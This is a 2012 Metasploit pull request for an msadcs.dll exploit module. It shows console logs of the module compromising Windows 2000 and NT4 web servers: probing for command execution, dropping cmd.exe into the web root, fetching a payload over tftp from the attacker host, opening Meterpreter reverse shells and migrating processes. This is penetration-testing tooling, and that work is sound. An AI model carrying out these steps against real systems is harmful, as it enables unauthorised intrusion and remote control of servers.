rapid7/metasploit-framework — pull request #449 by aushack (2012-06-05 08:22:28+00:00)
Title: Exploit module msadc.rb

Attached module for msadcs.dll exploitation. Supports MS Access and MSSQL methods.

Windows 2000 with MSSQL 2000:

msf exploit(msadc) > rexploit
[*] Reloading module...

[*] Started reverse handler on 10.0.0.1:4444
[*] Searching for valid command execution point...
[*] Step 1: Trying raw driver to btcustmr.mdb
[*] Step 2: Trying to make our own DSN...
[*] Step 3: Trying to create a new table in our own DSN...
[*] Step 4: Trying to execute our command via our own DSN and table...
[*] Step 5: Trying to execute our command via known DSNs...
[*] Step 6: Trying known system .mdbs...
[*] Step 7: Trying known program file .mdbs...
[*] Step 8: Trying SQL xp_cmdshell method...
[+] Successful command execution found!
[*] Copying cmd.exe to the web root as "1hh6GD.exe"...
[*] Executing command: tftp -i 10.0.0.1 GET guukWvpR ZqwbRcjE.exe (options: {:temp=>".", :tftphost=>"10.0.0.1", :transid=>"guukWvpR", :cgifname=>"1hh6GD.exe", :linemax=>1400})
[*] Command Stager progress - 71.88% done (46/64 bytes)
[*] Command Stager progress - 100.00% done (64/64 bytes)
[*] Triggering the payload via a direct request...
[*] Sending stage (752128 bytes) to 10.0.0.2
[*] Meterpreter session 3 opened (10.0.0.1:4444 -> 10.0.0.2:1038) at Tue Jun 05 18:15:06 +1000 2012
[*] Deleting copy of CMD.exe "1hh6GD.exe" ...
[*] Current server process: ZqwbRcjE.exe (640)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1024
[+] Successfully migrated to process
[*] Changing permissions on C:\inetpub\scripts\ZqwbRcjE.exe ...

Windows NT4 with MSAccess:

msf exploit(msadc) > set PAYLOAD windows/meterpreter/reverse_nonx_tcp
PAYLOAD => windows/meterpreter/reverse_nonx_tcp
msf exploit(msadc) > exploit

[*] Started reverse handler on 10.0.0.1:4444
[*] Searching for valid command execution point...
[*] Step 1: Trying raw driver to btcustmr.mdb
[+] Successful command execution found!
[*] Copying cmd.exe to the web root as "Ef9Uy.exe"...
[*] Executing command: tftp -i 10.0.0.1 GET Gek9Admw lqOQVLoV.exe (options: {:temp=>".", :tftphost=>"10.0.0.1", :transid=>"Gek9Admw", :cgifname=>"Ef9Uy.exe", :linemax=>1400})
[*] Command Stager progress - 71.43% done (45/63 bytes)
[*] Command Stager progress - 100.00% done (63/63 bytes)
[*] Triggering the payload via a direct request...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (752128 bytes) to 10.0.0.2
[*] Meterpreter session 4 opened (10.0.0.1:4444 -> 10.0.0.2:1044) at Tue Jun 05 18:21:23 +1000 2012
[*] Deleting copy of CMD.exe "Ef9Uy.exe" ...
[*] Current server process: (241)
[*] Spawning notepad.exe process to migrate to
[*] Changing permissions on C:\inetpub\scripts\lqOQVLoV.exe ...